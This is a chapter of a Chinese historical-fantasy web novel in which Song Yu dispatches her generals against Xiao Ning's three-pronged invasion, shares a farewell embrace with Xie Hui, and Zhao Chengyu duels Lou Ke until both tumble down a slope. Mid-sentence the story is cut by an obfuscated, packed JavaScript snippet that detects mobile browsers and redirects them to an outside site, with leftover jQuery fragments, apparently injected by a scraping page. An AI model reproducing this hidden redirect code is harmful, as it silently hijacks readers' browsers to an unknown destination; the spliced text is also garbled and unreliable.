孟婉语重心长地说道,“成玉,你现在是一方将帅,做事不得无状。”
被孟婉训斥,赵成玉的气焰瞬间消了下来,她唯唯诺诺地说道,“是。”
宋虞抱着庇黎剑,思忖片刻,“兵来将挡水来土掩。当务之急,还是应该先让温稚和顾辞回去镇守彬州,秦有仪也要即刻动身回梧州,做好万全准备。”
温稚、顾辞和秦有仪出列,“是。”
孟婉慈祥地看着温稚,“幼薇,你这次来青州,尚未好好做客,便要仓促离去,委屈你了。”
温稚摇了摇头,她温柔且坚定地说道,“强敌在前,当以大局为重。待女君一统天下,那时再游遍天下大好河山未迟。”
宋虞应道,“对,等天下太平了,到时候想怎么玩怎么玩。”
温稚笑着点头,脸颊上浮现出两个梨涡,“好。”
魏蓁轻轻地咳了几声,她用便面挡住半张脸,虚弱地对三人说道,“事不宜迟,你们三人尽快启程吧。”
“是。”
顾辞和秦有仪应声,打算辞行,温稚却没有动,她扫了一眼屋中的众人,最后目光定格在孟婉和宋虞身上,半晌,她跪下身,以头叩地,向宋虞和老夫人行了大礼。
温稚直起身,声音坚定,“虽然女君说不用行跪拜之礼,但我仍想为之。下次再见,不知何时,愿女君和老夫人珍重。”
顾辞眼神复杂地看着温稚,在一旁没有言语。
宋虞和孟婉亲自将温稚扶起,“快起来。”
宋虞安慰道,“没事的,很快就能见面了。”
“嗯。”温稚牵出一个笑,随后起身,随顾辞秦有仪一同辞行离开了。
池鱼搅动莲叶,荷枝擎盖,芙蕖迎风。
一月后,萧宁十万大军陈兵边境,谢澄也与萧宁联手,共同夹击宋虞。萧宁兵分三路,一路由祁州直下,到达彬州西部,一路从中州而下,抵达武原,另一路从潼州绕道,从东面包围彬州,而谢澄则率江州兵围攻梧州。
魏蓁盯着舆图,将萧宁的出兵路线标记在图上,宋虞眯起眼睛,指腹摩挲着庇黎剑,“萧宁此举,大动干戈,来者不善啊。”
魏蓁淡然开口,“此前阿虞行事低调,尚未对她造成威胁。如今阿虞接连拿下彬州和梧州,自然会被她视为眼中钉,否则她也不会如此兴师动众。”
裴若望盯着舆图,“萧宁兵分三路,看来是想要吞并彬州。”
宋虞点头,“如今彬州只有顾辞一支部曲守城,对付萧宁的十万大军远远不够,必须立马增兵。”
魏蓁摇着便面,“谢澄的江州兵由秦有仪暂时牵制,应当是不成问题。中路可以由钟离前去支援顾辞。”
宋虞看了眼魏蓁,“西路的楼珂由赵成玉率兵抵抗,东路的莫寒我来解决,若望,你和军师镇守青州。”
裴若望皱眉,“女君,你千金之躯,冲锋陷阵太过危险,要不还是由我去吧。”
宋虞摇了摇头,"不亲自去看看,我不放心。萧宁这次攻打彬州,调动了十万大军,甚至将中州的中央军也尽数调出,不惜内朝空虚,也要打这一仗。我总觉得,萧宁这次如此兴师动众,并不简单。"
裴若望为难地看向魏蓁,魏蓁叹了口气,“阿虞一直都是这个脾气,我也奈何她不得。”
说完她转向宋虞,“既然阿虞心意已决,我也不再阻拦。只是刀剑无眼,阿虞还望珍重自身。”
宋虞点点头,“放心吧。”
军令传达下去之后,宋虞便开始收拾行装,做出发前的准备。
一切收拾停当之后,宋虞又跑到马厩给小黑洗澡。宋虞从桶中舀出清水,淋在小黑高大的马背上,“出发前给你好好洗个澡,后面可能就没机会洗了。”
小黑哼唧了一下,热气从两个硕大的鼻孔中冒出,算是作为回应。
就在这时,一抹月白色的颀长身影出现在杂乱的马厩。
宋虞从马背后探出头,看到是谢徽,有些意外,“你怎么来了?”
谢徽站在日光下,身姿清越,他淡淡地开口,“听说你要亲自领兵,对抗萧宁的大军。”
宋虞点点头,“嗯。这次萧宁来犯,非比寻常。”
“要去多久?”
“不知道,什么时候萧宁退兵,我就什么时候回来。”
谢徽狭长的睫毛在眼睑投下一片阴影,他突然陷入沉默,不再说话。
宋虞看着垂眸的谢徽,不知为什么,突然生出了逗他的心思,
"怎么,担心我?"
谢徽抬眸,一瞬不眨地看着宋虞,“嗯。”
宋虞一愣。
宋虞一头扎进这个乱世,亲身经历了无数场战争,但在众人的眼中,自己更像是一个符号,一个战无不胜的杀神,一个独霸一方的枭雌,总之,不再是一个有血有肉的普通人。
宋虞将马鬃梳得光亮,毛发分明,她拍了拍小黑的脑袋,“放心吧,我能有什么事。你别忘了,我可是战神。”
青州的百姓私下确实称宋虞为战神。因为自她来到青州,还没有打过一场败仗。宋虞用调侃的语气说出来,想要化解离别前的悲伤气氛,谢徽却说,
“我从前也是。”
宋虞刷马背的动作顿住。
“所以我知道,所谓的战神,是无数伤疤剑痕堆砌起来的。百姓只看得到显赫功勋,却看不见背后的九死一生。比起战无不胜,我更希望你,活着回来。”
谢徽温润的脸庞落在宋虞的眼中,宋虞却从他儒雅端方的举止中,望见了当年他叱咤沙场的场景。
年少无畏,一剑挡万师。
如今却是被斩去锋芒,谦卑佝首。
“我答应你,会活着回来。”
谢徽走上前,离宋虞很近,下一刻,她就落入了一个松柏香的怀抱。
宋虞下意识想要推开,但自己的手刚刚还在给小黑搓背,满是脏泥。
她不想弄脏谢徽干净的衣裳。
于是,她放任自己沉溺在这个拥抱里。
第二日,宋虞率军一万,钟离率军五万,赵成玉率军三万,兵分三路出发。原本魏蓁打算再给宋虞一万兵马,但宋虞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120009|172217||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却说一万足够了,便将这剩下的一万军马拨给了钟离。
出发之前,宋虞冲着钟离嘱咐,“钟离,此次前去,不要着急迎战,你先去找温稚和顾辞汇合,再从长计议。”
钟离点头,宋虞又转过身,朝着赵成玉说道,“成玉,记住你这次出兵的目的。”
赵成玉摆了摆手,说道,“我知道,拖延嘛,不要恋战,只要将楼珂的兵马拖住,不让她赶到彬州与萧宁汇合即可。”
宋虞点头,“你遇事千万不可冲动莽撞。”
赵成玉带着头盔,挡住了半张脸,“我知道了,宋宋你也万事小心。”
叮嘱完之后,三人便分头而行。行了五日,最先遭遇到萧宁军队的,是赵成玉。她从羡城出发,向彬州西部出发,在山林行军时,正好遇见楼珂的部曲。
狭窄的山道间,两色旌旗翻飞,赵成玉和楼珂立于阵前,身后则是看不到尽头的部曲队伍。狭路相逢,剑拔弩张。
赵成玉看着眼前异族模样的女子,她掏出长矛,趾高气昂得说道,“你就是楼珂?”
楼珂眼眸深邃,鼻梁高挺,一缕卷发落在眉前。她立于马上,傲慢地说道,“没错。”
“我听说你很受萧宁器重,还曾解萧宁千钧之围,你当真有这样的本事?”
楼珂不屑,“有没有本事,试试不就知道了。”
想到宋虞的嘱咐,赵成玉又看了眼身后的士兵,她眼睛一转,“好,那你有本事和我单挑。”
楼珂勾起嘴角,轻蔑地说道,“单挑?好啊,你到时候可别哭着喊娘。”
赵成玉也被她激起了怒气,一把锋利的长矛横在两人面前,她咬牙切齿道,“好啊。”
下一刻,清脆的金属碰撞声响起,惊飞林间的山鸟。
两人身后的部曲此时也放松下来,站在原地,津津有味地看两位将军对战。
最初,身后的女军还时不时发出惊叹的声音,但一个时辰后,大家看着打地难舍难分的两位将军,便有些审美疲劳了。
两个时辰后,已经有人开始打哈欠了。
赵成玉和楼珂势均力敌,谁也不服谁,最初两人还骑着马,但后来战马也不知跑哪去了,两人就站在地上,打地难舍难分。
招式来回,两人已经从山道打到了山崖边,不知何时,赵成玉踩到了一块松软的石头,身形不稳,眼看便要朝山坡下滚去。楼珂见状,露出得意的笑,但下一刻,赵成玉就手疾眼快地拉着她的手臂,楼珂一时不查,两人便一道从山坡上滚下。
山崖上的女军们见状,纷纷赶来围观,她们从山坡上探出脑袋,想要看看自家将军是否安然。
静谧的山谷间被两个不速之客打破宁静。赵成玉忍着痛缓慢地爬起身,头上的银盔早不知道摔到哪里去了,对面的楼珂也狼狈不堪,脸上沾着土,卷曲的头发披散在额前,赵成玉“噗”得一声笑了起来。
楼珂的手臂被树枝划伤,浓稠的鲜血顺着盔甲向下流,她将剑插在土里,撑着剑身缓缓站起来,看到赵成玉的脚下踩着一坨马粪,她也忍不住捧腹大笑。